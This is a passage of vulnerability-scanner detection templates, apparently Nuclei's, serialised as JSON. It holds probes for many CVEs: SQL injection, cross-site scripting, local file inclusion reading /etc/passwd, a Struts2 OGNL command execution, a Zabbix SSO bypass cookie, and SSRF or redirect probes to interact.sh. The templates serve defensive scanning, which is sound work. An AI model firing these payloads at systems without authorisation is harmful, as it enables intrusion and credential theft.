`false`."],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"session_key","internal":true,"xpath":["/html/body/div[1]/div/div[2]/div/div/form/input[1]"],"attribute":"value"},{"type":"xpath","name":"token","internal":true,"xpath":["/html/body/div[1]/div/div[2]/div/div/form/input[2]"],"attribute":"value"},{"type":"regex","name":"theme","group":1,"regex":["<input\\stype=\\\\\"hidden\\\\\"\\svalue=\\\\\"demo\\\\\"\\sname=\\\\\"([^\"]*)\\\\\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-23131","info":{"name":"Zabbix - SAML SSO Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/zabbix/index_sso.php","{{BaseURL}}/index_sso.php"],"stop-at-first-match":true,"headers":{"Cookie":"zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-0288","info":{"name":"WordPress Ad Inserter <2.7.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}"],"body":"html_element_selection=</script><img+src+onerror=alert(document.domain)>\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><img src onerror=alert(document.domain)>","ad-inserter"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29548","info":{"name":"WSO2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["CARBON.showWarningDialog('???');alert(document.domain)//???"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0165","info":{"name":"WordPress Page Builder KingComposer <=2.9.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2022-38553","info":{"name":"Academy Learning Management System <5.9.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><script>alert(document.domain)</script>","Study any topic"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32444","info":{"name":"u5cms v8.3.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/loginsave.php?u=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0781","info":{"name":"WordPress Nirweb Support <2.8.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25125","info":{"name":"MCMS 5.2.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25"]},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2022-0968","info":{"name":"Microweber <1.2.12 - Integer Overflow","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1\nHost: {{Hostname}}\n","POST /api/user/2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nthumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3,'\\\"first_name\\\":\\\"{{payload}}\\\"')","status_code_3==200","contains(header_3,\"application/json\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"form_token","group":1,"regex":["<input type=\"hidden\" name=\"token\" value=\"(.*)\" autocomplete=\"off\">"],"internal":true,"part":"body"},{"type":"regex","name":"user","group":1,"regex":["<input type=\"text\" class=\"form-control\" name=\"username\" value=\"(.*)\">"],"internal":true,"part":"body"},{"type":"regex","name":"email","group":1,"regex":["<input type=\"email\" class=\"form-control\" name=\"email\" value=\"(.*)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0869","info":{"name":"nitely/spirit 0.12.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/user/login/?next=https%3A%2F%2Finteract.sh","{{BaseURL}}/user/logout?next=https%3A%2F%2Finteract.sh","{{BaseURL}}/user/register?next=https%3A%2F%2Finteract.sh","{{BaseURL}}/user/resend-activation?next=https%3A%2F%2Finteract.sh"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-1906","info":{"name":"WordPress Copyright Proof <=4.16 - Cross-Site-Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["got message <script>alert(document.domain)</script>"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-41441","info":{"name":"ReQlogic v11.3 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script>","{{BaseURL}}/ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3"],"stop-at-first-match":true,"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\") && contains(body_2, \"POProcessTimeout\")"],"condition":"and"}]}]},{"id":"CVE-2022-1609","info":{"name":"The School Management < 9.9.7 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-json/am-member/license HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nblowfish=1&blowf=system('{{cmd}}');\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["9061-2202-EVC"]}]}]},{"id":"CVE-2022-2633","info":{"name":"All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /index.php/video/?dl={{base64('https://oast.me/')}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24124","info":{"name":"Casdoor 1.13.0 - Unauthenticated SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["XPATH syntax error.*'","casdoor"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45037","info":{"name":"WBCE CMS v1.5.4 - Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nformtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=\n","GET /admin/users/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_5","words":["<script>alert(document.domain)</script>","SESSION_TIMEOUT"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"username_fieldname_2","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0867","info":{"name":"WordPress ARPrice <3.6.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=arplite_insert_plan_id&arp_plan_id=x&arp_template_id=1+AND+(SELECT+8948+FROM+(SELECT(SLEEP(6)))iIic)\n","GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(content_type_1, \"text/html\")","contains(body_2, \"ArpPriceTable\")"],"condition":"and"}]}]},{"id":"CVE-2022-35405","info":{"name":"Zoho ManageEngine - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{RootURL}}/xmlrpc"],"body":"<?xml version=\"1.0\"?><methodCall><methodName>{{randstr}}</methodName><params><param><value>big0us</value></param></params></methodCall>\n","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<name>faultString</name>"]},{"type":"word","part":"body","words":["No such service [{{randstr}}]","No such handler: {{randstr}}"],"condition":"or"},{"type":"word","part":"body","words":["<methodResponse>","</methodResponse>"],"condition":"or"}]}]},{"id":"CVE-2022-24264","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nsearch_word=')+union+all+select+1,md5('{{num}}'),3,4,5,6,7,8--+-&order_by=id&order_orientation=ASC&path=component%2Ftable_manager%2Fview%2Fcu_countries&uniqueClass=wrapper_content_518284\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{md5(num)}}","td_available_languages"],"condition":"and"},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-39960","info":{"name":"Jira Netic Group Export <1.0.3 - Missing Authorization","severity":"medium"},"requests":[{"raw":["POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ngroupexport_searchstring=&groupexport_download=true\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"jiraGroupObjects\"","\"groupName\""],"condition":"and"},{"type":"word","part":"header","words":["attachment","jira-group-export"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42746","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting.","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-0928","info":{"name":"Microweber < 1.2.12 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /api/shop/save_tax_item HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:settings\n\nid=0&name=vat1&type=\"><img+src%3dx+onerror%3dalert(document.domain)>&rate=10\n","POST /module HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer:{{BaseURL}}/admin/view:settings\n\nclass=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3,\"<img src=x onerror=alert(document.domain)></td>\")","contains(header_3,\"text/html\")","status_code_2 == 200 && status_code_3 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-46381","info":{"name":"Linear eMerge E3-Series - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/badging/badge_template_v0.php?layout=1&type=\"/><svg/onload=\"alert(document.domain)\"/>"],"matchers-condition":"and","matchers":[{"type":"word","words":["<svg/onload=\"alert(document.domain)\"/>","Badging Template"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42094","info":{"name":"Backdrop CMS version 1.23.0 - Stored Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?q=user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in\n","GET /?q=node/add/card HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=node/add/card HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"title\"\n\n{{randstr}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"files[field_image_und_0]\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"field_image[und][0][fid]\"\n\n0\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"field_image[und][0][display]\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"changed\"\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_build_id\"\n\n{{form_id_2}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_token\"\n\n{{form_token}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_id\"\n\ncard_node_form\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"body[und][0][value]\"\n\n<img src=x onerror=alert(document.domain)>\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"body[und][0][format]\"\n\nfull_html\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"status\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"name\"\n\n{{name}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"date[date]\"\n\n2023-04-13\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"date[time]\"\n\n21:49:36\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"path[auto]\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"comment\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"additional_settings__active_tab\"\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"op\"\n\nSave\n------WebKitFormBoundaryWEcZgRB4detkrGaY--\n"],"cookie-reuse":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=\"x\" onerror=\"alert(document.domain)\" />","Backdrop CMS"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"name","group":1,"regex":["name=\"name\" value=\"(.*?)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-25216","info":{"name":"DVDFab 12 Player/PlayerFab - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44946","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=page&is_active=1&position=listing&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&description=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"<script>alert(document.domain)</script>\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-0437","info":{"name":"karma-runner DOM-based Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/karma.js","{{BaseURL}}/?return_url=javascript:alert(document.domain)"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 6.3.14')"]},{"type":"word","part":"body_2","words":["Karma"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)VERSION: '([0-9.]+)'"],"internal":true}]}]},{"id":"CVE-2022-46073","info":{"name":"Helmet Store Showroom - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/hss/?q=%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"Helmet Store Showroom\")","contains(body, \"><script>alert(document.domain)</script>\")"],"condition":"and"}]}]},{"id":"CVE-2022-0826","info":{"name":"WordPress WP Video Gallery <=1.7.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=wp_video_gallery_ajax_add_single_youtube&url=http://example.com/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Registred videos :\")"],"condition":"and"}]}]},{"id":"CVE-2022-0434","info":{"name":"WordPress Page Views Count <2.4.15 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26159","info":{"name":"Ametys CMS Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm"],"matchers-condition":"and","matchers":[{"type":"word","words":["<auto-completion>","<item>"],"condition":"and"},{"type":"word","part":"header","words":["text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0535","info":{"name":"WordPress E2Pdf <1.16.45 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes\n","GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_4, 'placeholder=\\\"Developer IPs\\\" ></textarea><svg/onload=alert(document.domain)>')","contains(header_4, \"text/html\")","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_nonce\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-32409","info":{"name":"Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25356","info":{"name":"Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Exception: Error while [Loading XML","<RegKey>","<IsAdmin>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31847","info":{"name":"WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24990","info":{"name":"TerraMaster TOS < 4.2.30 Server Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/api.php?mobile/webNasIPS"],"headers":{"User-Agent":"TNAS"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json","TerraMaster"],"condition":"and"},{"type":"regex","part":"body","regex":["webNasIPS successful","(ADDR|(IFC|PWD|[DS]AT)):","\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2006-1681","info":{"name":"Cherokee HTTPD <=0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2006-2842","info":{"name":"Squirrelmail <=1.4.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-4556","info":{"name":"OpenSymphony XWork/Apache Struts2 - Remote Code Execution","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/login.action"],"body":"username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-5728","info":{"name":"phpPgAdmin <=4.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test"],"matchers-condition":"and","matchers":[{"type":"word","words":["<script>alert(document.domain)</script>","phpPgAdmin"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-0885","info":{"name":"Jira Rainbow.Zen - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-4504","info":{"name":"Joomla! RSfiles <=1.0.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10549","info":{"name":"rConfig <=3.9.4 - SQL 